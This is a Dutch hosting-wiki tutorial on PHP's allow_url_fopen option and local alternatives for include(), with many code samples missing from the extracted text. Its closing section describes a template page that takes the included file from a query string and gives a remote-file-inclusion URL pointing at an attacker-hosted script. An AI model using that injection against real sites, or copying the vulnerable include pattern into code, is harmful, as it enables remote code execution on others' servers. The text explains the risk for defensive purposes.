allow_url_fopen
Bron: DreamHost
De PHP optie allow_url_fopen zou normaal de programeur toelaten een extern bestand te openen, in te voegen of anderzijds een extern bestand te gebruiken, gebruik makend van een URL; eerder dan gebruik te maken van een lokaal bestand. Voor veiligheidsredenen(Vraag me niet welke aub), hebben meerdere Hosts bij het upgraden van hun systemen naar PHP 5, deze optie uitgeschakeld; er bestaat echter wel een alternatief rijk aan mogelijkheden zijnde cURL, en je kan uiteraard ook rond dit probleem door zelf uw eigen versie van PHP te compileren.
Inhoud
1 Server-Side Invoegingen
1.1 Voorbeeld Invoeging
1.2 Verschillen verwerken(en variabelen doorgeven aan ingevoegd bestand)
1.2.1 Voorbeeld
1.3 Flexibiliteit toevoegen
1.4 Het include_path instellen
2 Voorbeeld misbruik
1. Server-Side Invoegingen
Veel ontwikkelaars voegen bestanden in door te verwijzen naar een externe URL, zelfs al staat het bestand binnen het lokaal systeem.
Voorbeeld:
Met allow_url_fopen uitgeschakeld, zal deze methode dus niet werken. In plaats, moet het bestand ingevoegd worden met een lokaal path, en er zijn drie methodes om dit te doen:
- Door een relatief path te gebruiken, zoals ../includes/example_include.php.
- Door een absoluut path (ook gekend als relatief-tov-root),
zoals /home/username/example.com/includes/example_include.php.
- Door gebruik te maken van de PHP variabele $_SERVER['DOCUMENT_ROOT'],
welke de absolute path naar de root van de server teruggeeft. Deze laatste is bij uitstek de beste (en meest gangbare) oplossing. Het hierna volgende voorbeeld toont de omgevings variabele in aktie:
1.1 Voorbeeld Invoeging
1.2 Verschillen verwerken (en variabelen doorgeven aan ingevoegd bestand)
Dat de hier voorgestelde alternatieve oplossingen resulteren in een verschillende manier waarop de funktie include() zal behandeld worden is zeker het vermelden waard. Al de alternatieve oplossingen zullen de PHP code teruggeven van de ingevoegde pagina; alhoewel, de nu-niet beschikbare externe URL methode zal het resultaat weergeven van de ingevoegde pagina.
Een resultaat van dit gedrag is dat je geen querystring kan doorgeven gebruik makend van de alternatieve oplossingen. Je definiëerd de variabelen lokaal alvorens de invoeging uit te voeren:
1.2.1 Voorbeeld
Om het effect hiervan te bekomen:
Moet je ipv dit het volgende gebruiken:
2
3
4
$var = "example";
include($_SERVER['DOCUMENT_ROOT']."/includes/example_include.php");
?>
1.3 Flexibiliteit toevoegen
Om een maximale flexibiliteit te bekomen (waneer veelvoudige invoegingen nodig zijn, bijvoorbeeld), kan het eenvoudiger zijn om een variabele te creëren:
Nota: De techniek werkt op dezelfde manier ongeacht u gebruik maakt van include() of require().
1.4 Het include_path instellen
Je kan ook expliciet de PHP directive, "include_path", instellen in de vlucht.
2 Voorbeeld misbruik
Een veel voorkomend gebruik van server-side invoegingen is voor het creërenn van een soort site template. Dikwijls word dmv een query string verschillende inhoud ingevoegd in 1 enkele pagina bestaande uit een hoofding en een voetnoot. Hier is een typisch voorbeeld script:
<html>
<head>
<title>This page is easy to exploit</title>
</head>
<body>
header...
footer...
</body>
</html>
De inhoud van de pagina kan gevariëerd worden door een query string toe te voegen aan de URL:
'http://example.com/index.php?page=varied.php'
Als allow_url_fopen geactiveerd is, volstaat het om simpel de waarde van de variabele in de querystring te wijzigen om het systeem te exploiteren:
'http://example.com/index.php?page=http://crackerscum.net/evilscript.txt'